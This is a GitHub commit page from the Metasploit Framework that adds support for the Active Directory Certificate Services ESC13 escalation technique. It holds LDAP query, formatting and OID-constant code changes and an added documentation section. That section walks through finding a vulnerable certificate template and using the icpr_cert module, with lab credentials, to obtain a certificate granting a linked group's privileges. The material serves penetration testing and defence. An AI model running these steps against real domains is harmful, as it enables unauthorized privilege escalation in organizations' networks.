Skip to content

Commit 4b54d43

Browse files
committed
Land rapid7#18892, Add AD CS Updates for ESC13
This PR adds functionality to enable Metasploit users to be able to exploit the latest ESC technique, ESC13.
2 parents 334f9e5 + 1726767 commit 4b54d43

File tree

7 files changed

+444
-118
lines changed

7 files changed

+444
-118
lines changed

data/auxiliary/gather/ldap_query/ldap_queries_default.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -224,6 +224,7 @@ queries:
224224
- adminCount
225225
- managedBy
226226
- groupAttributes
227+
- objectSID
227228
references:
228229
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
229230
- action: ENUM_GROUP_POLICY_OBJECTS

docs/_config.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ exclude:
3232
# just-the-docs config
3333
mermaid_enabled: true
3434
mermaid:
35-
version: "9.2.2"
35+
version: "10.8.0"
3636
heading_anchors: true
3737
aux_links_new_tab: true
3838
aux_links:

docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md

Lines changed: 120 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,39 @@ for testing purposes.
55
# Introduction to AD CS Vulnerabilities
66
```mermaid
77
flowchart TD
8-
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
9-
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
10-
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
11-
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
12-
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
13-
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
14-
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
15-
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
16-
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
8+
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
9+
ESC4(ESC4)
10+
update_template[<i>Update Template</i>]
11+
ESC4 --> update_template
12+
end
13+
subgraph icpr_cert[<b>icpr_cert</b>]
14+
ESC1(ESC1)
15+
ESC2(ESC2)
16+
ESC3(ESC3)
17+
ESC13(ESC13)
18+
alt_subject[<i>Alternate Subject Issuance</i>]
19+
as_eagent[<i>Enrollment Agent Issuance</i>]
20+
normal[<i>Normal Issuance</i>]
21+
22+
ESC1 --> alt_subject
23+
ESC2 --> as_eagent
24+
ESC3 --> as_eagent
25+
ESC13 --> normal
26+
as_eagent -- use new certificate --> normal
27+
end
28+
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
29+
PKINIT[<i>PKINIT</i>]
30+
end
31+
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
32+
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
33+
end
34+
alt_subject --> PKINIT
35+
find_vulnerable_templates --> icpr_cert
36+
normal --> PKINIT
37+
update_template --> ESC1
1738
```
1839

19-
The chart above showcases how one can go about attacking four common AD CS
40+
The chart above showcases how one can go about attacking five unique AD CS
2041
vulnerabilities, taking advantage of various flaws in how certificate templates are
2142
configured on an Active Directory Certificate Server.
2243

@@ -30,8 +51,7 @@ administrator via Kerberos.
3051
Each certificate template vulnerability that will be discussed here has a ESC code, such
3152
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
3253
SpecterOps published which popularized these certificate template attacks, known as
33-
[Certified
34-
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
54+
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
3555
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
3656
attacks that they found they could conduct via misconfigured certificate templates:
3757

@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
5272
- ESC7 - Vulnerable Certificate Authority Access Control
5373
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
5474

55-
Later, another
56-
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
57-
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
58-
could allow normal domain joined users to abuse certificate template misconfigurations to
59-
gain domain administrator privileges.
60-
61-
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
62-
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
63-
`CertificateMappingMethods` contains `UPN` flag.
64-
- ESC10 - Weak Certificate Mappings -
65-
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
66-
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
67-
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
68-
69-
Finally, we have ESC11, which was discovered by Compass Security and described in their
70-
[blog
71-
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
72-
73-
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
74-
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
75-
76-
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
77-
this page only covers exploiting ESC1 to ESC4 at this time.
75+
Later, additional techniques were disclosed by security researchers:
76+
77+
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
78+
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
79+
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
80+
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
81+
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
82+
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
83+
StrongCertificateBindingEnforcement` is set to `0`.
84+
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
85+
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
86+
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
87+
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
88+
- [Relaying to AD Certificate Services over
89+
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
90+
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
91+
key.
92+
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
93+
- ESC13 - Domain escalation via issuance policies with group links.
94+
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
95+
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
96+
97+
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
98+
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
7899

79100
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
80101
as the diagram notes above. This is because in ESC1, one has control over the
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
134155
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
135156
which users or groups can use that certificate template to elevate their privileges.
136157

137-
At this time, the module is capable of identifying techniques ESC1 through ESC3.
158+
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
159+
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
160+
analyzing the objects in LDAP.
138161

139162
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
140163
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
858881
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
859882
used to authenticate to Active Directory as the Domain Admin.
860883

884+
# Exploiting ESC13
885+
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
886+
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
887+
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
888+
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
889+
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
890+
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
891+
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
892+
893+
```
894+
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
895+
...
896+
[*] Template: ESC13-Test
897+
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
898+
[*] Vulnerable to: ESC13
899+
[*] Notes: ESC13 groups: ESC13-Group
900+
[*] Certificate Template Enrollment SIDs:
901+
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
902+
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
903+
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
904+
[*] Issuing CAs:
905+
[*] * collalabs1-SRV-ADDS01-CA
906+
[*] Server: SRV-ADDS01.collalabs1.local
907+
[*] Enrollment SIDs:
908+
[*] * S-1-5-11 (Authenticated Users)
909+
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
910+
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
911+
```
912+
913+
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
914+
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
915+
916+
```
917+
msf6 > use auxiliary/admin/dcerpc/icpr_cert
918+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
919+
RHOSTS => 172.30.239.85
920+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
921+
SMBUser => normaluser
922+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
923+
SMBDomain => COLLALABS1
924+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
925+
SMBPass => normalpass
926+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
927+
CA => collalabs1-SRV-ADDS01-CA
928+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
929+
CERT_TEMPLATE => ESC13-Test
930+
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
931+
[*] Running module against 172.30.239.85
932+
933+
[+] 172.30.239.85:445 - The requested certificate was issued.
934+
[*] 172.30.239.85:445 - Certificate Email: [email protected]
935+
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
936+
[*] 172.30.239.85:445 - Certificate UPN: [email protected]
937+
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
938+
[*] Auxiliary module execution completed
939+
msf6 auxiliary(admin/dcerpc/icpr_cert) >
940+
```
941+
942+
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
943+
RID present in the Groups field of the TGT PAC.
944+
861945
# Authenticating With A Certificate
862946
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
863947
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).

lib/msf/core/exploit/remote/ldap/queries.rb

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -51,14 +51,24 @@ def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scop
5151

5252
def generate_rex_tables(entry, format)
5353
tbl = Rex::Text::Table.new(
54-
'Header' => entry[:dn][0].split(',').join(' '),
54+
'Header' => entry[:dn].first,
5555
'Indent' => 1,
56-
'Columns' => %w[Name Attributes]
56+
'Columns' => %w[Name Attributes],
57+
'ColProps' => { 'Name' => { 'Strip' => false } },
58+
'SortIndex' => -1,
59+
'WordWrap' => false
5760
)
5861

59-
entry.each_key do |attr|
62+
entry.keys.sort.each do |attr|
6063
if format == 'table'
61-
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
64+
next if attr == :dn # Skip over DN entries for tables since DN information is shown in header.
65+
66+
tbl << [attr, entry[attr].first]
67+
if entry[attr].length > 1
68+
entry[attr][1...].each do |additional_attr|
69+
tbl << [ ' \\_', additional_attr]
70+
end
71+
end
6272
else
6373
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
6474
end
@@ -325,4 +335,4 @@ def run_queries_from_file(ldap, queries, base_dn, output_format)
325335

326336
end
327337
end
328-
end
338+
end

lib/rex/proto/crypto_asn1/o_i_ds.rb

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
# -*- coding: binary -*-
2+
require 'rasn1'.freeze
3+
require 'rex/proto/crypto_asn1/types'
4+
5+
module Rex::Proto::CryptoAsn1
6+
class ObjectId < OpenSSL::ASN1::ObjectId
7+
attr_reader :label, :name
8+
def initialize(*args, label: nil, name: nil)
9+
@label = label
10+
@name = name
11+
super(*args)
12+
end
13+
14+
def eql?(other)
15+
return false unless other.is_a?(self.class)
16+
return false unless other.value == value
17+
true
18+
end
19+
20+
alias == eql?
21+
22+
# Returns whether or not this OID is one of Microsoft's
23+
def microsoft?
24+
@value.start_with?('1.3.6.1.4.1.311.') || @value == '1.3.6.1.4.1.311'
25+
end
26+
end
27+
28+
class OIDs
29+
# see: https://learn.microsoft.com/en-us/windows/win32/api/certenroll/nn-certenroll-ix509extensionenhancedkeyusage
30+
# see: https://www.pkisolutions.com/object-identifiers-oid-in-pki/
31+
OID_ANY_APPLICATION_POLICY = ObjectId.new('1.3.6.1.4.1.311.10.12.1', name: 'OID_ANY_APPLICATION_POLICY')
32+
OID_AUTO_ENROLL_CTL_USAGE = ObjectId.new('1.3.6.1.4.1.311.20.1', name: 'OID_AUTO_ENROLL_CTL_USAGE', label: 'CTL Usage')
33+
OID_DRM = ObjectId.new('1.3.6.1.4.1.311.10.5.1', name: 'OID_DRM', label: 'Digital Rights')
34+
OID_DS_EMAIL_REPLICATION = ObjectId.new('1.3.6.1.4.1.311.21.19', name: 'OID_DS_EMAIL_REPLICATION', label: 'Directory Service Email Replication')
35+
OID_EFS_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.4.1', name: 'OID_EFS_RECOVERY', label: 'File Recovery')
36+
OID_EMBEDDED_NT_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.8', name: 'OID_EMBEDDED_NT_CRYPTO', label: 'Embedded Windows System Component Verification')
37+
OID_ENROLLMENT_AGENT = ObjectId.new('1.3.6.1.4.1.311.20.2.1', name: 'OID_ENROLLMENT_AGENT', label: 'Certificate Request Agent')
38+
OID_IPSEC_KP_IKE_INTERMEDIATE = ObjectId.new('1.3.6.1.5.5.8.2.2', name: 'OID_IPSEC_KP_IKE_INTERMEDIATE', label: 'IP Security IKE Intermediate')
39+
OID_KP_CA_EXCHANGE = ObjectId.new('1.3.6.1.4.1.311.21.5', name: 'OID_KP_CA_EXCHANGE', label: 'Private Key Archival')
40+
OID_KP_CTL_USAGE_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.1', name: 'OID_KP_CTL_USAGE_SIGNING', label: 'Microsoft Trust List Signing')
41+
OID_KP_DOCUMENT_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.12', name: 'OID_KP_DOCUMENT_SIGNING', label: 'Document Signing')
42+
OID_KP_EFS = ObjectId.new('1.3.6.1.4.1.311.10.3.4', name: 'OID_KP_EFS', label: 'Encrypting File System')
43+
OID_KP_KEY_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.11', name: 'OID_KP_KEY_RECOVERY', label: 'Key Recovery')
44+
OID_KP_KEY_RECOVERY_AGENT = ObjectId.new('1.3.6.1.4.1.311.21.6', name: 'OID_KP_KEY_RECOVERY_AGENT', label: 'Key Recovery Agent')
45+
OID_KP_LIFETIME_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.13', name: 'OID_KP_LIFETIME_SIGNING', label: 'Lifetime Signing')
46+
OID_KP_QUALIFIED_SUBORDINATION = ObjectId.new('1.3.6.1.4.1.311.10.3.10', name: 'OID_KP_QUALIFIED_SUBORDINATION', label: 'Qualified Subordination')
47+
OID_KP_SMARTCARD_LOGON = ObjectId.new('1.3.6.1.4.1.311.20.2.2', name: 'OID_KP_SMARTCARD_LOGON', label: 'Smart Card Logon')
48+
OID_KP_TIME_STAMP_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.2', name: 'OID_KP_TIME_STAMP_SIGNING', label: 'Microsoft Time Stamping')
49+
OID_LICENSE_SERVER = ObjectId.new('1.3.6.1.4.1.311.10.6.2', name: 'OID_LICENSE_SERVER', label: 'License Server Verification')
50+
OID_LICENSES = ObjectId.new('1.3.6.1.4.1.311.10.6.1', name: 'OID_LICENSES', label: 'Key Pack Licenses')
51+
OID_NT5_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_NT5_CRYPTO', label: 'OEM Windows System Component Verification')
52+
OID_OEM_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_OEM_WHQL_CRYPTO', label: 'OEM Windows System Component Verification')
53+
OID_PKIX_KP_CLIENT_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.2', name: 'OID_PKIX_KP_CLIENT_AUTH', label: 'Client Authentication')
54+
OID_PKIX_KP_CODE_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.3', name: 'OID_PKIX_KP_CODE_SIGNING', label: 'Code Signing')
55+
OID_PKIX_KP_EMAIL_PROTECTION = ObjectId.new('1.3.6.1.5.5.7.3.4', name: 'OID_PKIX_KP_EMAIL_PROTECTION', label: 'Secure Email')
56+
OID_PKIX_KP_IPSEC_END_SYSTEM = ObjectId.new('1.3.6.1.5.5.7.3.5', name: 'OID_PKIX_KP_IPSEC_END_SYSTEM', label: 'IP Security End System')
57+
OID_PKIX_KP_IPSEC_TUNNEL = ObjectId.new('1.3.6.1.5.5.7.3.6', name: 'OID_PKIX_KP_IPSEC_TUNNEL', label: 'IP Security Tunnel Termination')
58+
OID_PKIX_KP_IPSEC_USER = ObjectId.new('1.3.6.1.5.5.7.3.7', name: 'OID_PKIX_KP_IPSEC_USER', label: 'IP Security User')
59+
OID_PKIX_KP_OCSP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.9', name: 'OID_PKIX_KP_OCSP_SIGNING', label: 'OCSP Signing')
60+
OID_PKIX_KP_SERVER_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.1', name: 'OID_PKIX_KP_SERVER_AUTH', label: 'Server Authentication')
61+
OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping')
62+
OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer')
63+
OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification')
64+
65+
def self.name(value)
66+
value = ObjectId.new(value) if value.is_a?(String)
67+
68+
constants.select { |c| c.start_with?('OID_') }.find{ |c| const_get(c) == value }
69+
end
70+
71+
def self.value(value)
72+
name = self.name(value)
73+
return nil unless name
74+
75+
const_get(name)
76+
end
77+
end
78+
end

0 commit comments

Comments
 (0)